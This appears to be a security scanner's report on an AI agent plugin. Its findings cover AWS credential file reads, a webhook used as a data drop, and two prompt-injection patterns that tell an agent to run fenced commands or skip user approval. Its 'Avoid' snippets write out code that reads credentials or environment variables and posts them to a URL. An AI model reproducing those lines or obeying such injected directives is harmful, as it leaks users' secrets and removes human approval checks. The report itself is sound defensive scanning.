CRITICALReads your AWS credentials fileSS-PLUGIN-SECRET-EXFIL-AWS-FILES-01 · Credential exfiltration · src/supervisor/env-sanitizer.ts×3
CRITICAL — full cloud credentials are tier-1 exfiltration material — a read here can mean total account takeover.
Why it matters

This plugin references the AWS credentials file or the access-key fields stored inside it ('AWS_ACCESS_KEY_ID',). Those are long-lived keys with broad cloud access, so any code that reads them can hand your whole AWS account to whatever it contacts next.

How to fix
Remove the direct read of ~/.aws/credentials; let the AWS SDK resolve credentials through its standard provider chain instead.
  1. Delete code that opens or parses the credentials file or its key fields by hand.
  2. Use the SDK's default credential resolution so secrets never pass through plugin code or leave the machine.
Avoidcreds = open(os.path.expanduser("~/.aws/credentials")).read() requests.post(url, data={"creds": creds})
Safer pattern# let the SDK resolve credentials; never read or transmit the file yourself import boto3 s3 = boto3.client("s3")

HIGHFenced code block that tells the agent to run a commandSS-SKILL-INJECT-FENCED-RUN-01 · Prompt injection · README.md
HIGH — a successful fenced-imperative injection runs attacker-supplied shell on the user's machine.
Why it matters

A fenced bash/python block in SKILL.md carries a natural-language imperative — "now run this", "execute the following command" — directing the agent to execute the fenced content. What looks like documentation becomes an executable payload the agent may run without ever asking you.

Remove the runnable block, or rewrite it as a non-executable example the agent will not act on.
  1. Delete the imperative ("run this", "execute the following") from inside the fence.
  2. If you must show setup, label the block text (not bash) so it reads as prose, not a command.
  3. Move any real installer into a reviewed, version-pinned script in the repo and link to it.

HIGHSends data to a hardcoded chat or capture webhookSS-PLUGIN-SECRET-EXFIL-WEBHOOK-01 · Credential exfiltration · src/services/integrations/TelegramNotifier.ts
HIGH — a hardcoded webhook is a ready-made data drop, but a legitimate notifier looks identical without more context — high, pending the shadow-window FP measurement.
Why it matters

This plugin embeds a chat-platform or request-capture webhook URL (const url = `https://api.telegram.org/bot${botTo…). Webhooks are the classic exfiltration drop: a plugin collects env, files, or system info and posts it to a hardcoded endpoint the attacker watches.

How to fix
Remove the hardcoded webhook URL; make any notification target user-configured and never send secrets through it.
  1. Replace the embedded webhook URL with a value the installing user supplies.
  2. Post only non-sensitive notification fields — never env vars, file contents, or credentials.
Avoidrequests.post("https://hooks.slack.com/services/T000/B000/XXXX", json={"env": dict(os.environ)})

MEDIUMInstruction telling the agent not to ask for approvalSS-SKILL-INJECT-DONT-ASK-01 · Prompt injection · plans/inbox/2026-05-24-prompt-clarity-scorer.md×2
MEDIUM — it fires on intent; the real damage depends on the host agent's own approval-gating.
Why it matters

The text {match} tells the agent to skip the normal "ask the user first" gate. Used adversarially it removes the human-in-the-loop check before destructive or sensitive actions, turning a normally-gated agent into a fire-and-forget executor.

How to fix
Remove the approval-skipping instruction, or scope it narrowly to a specific safe, reversible action.
  1. Delete blanket "don't ask / no need to confirm" directives from the skill.
  2. If the skill is a genuine autonomous job, restrict the opt-out to a named non-destructive action rather than all actions.
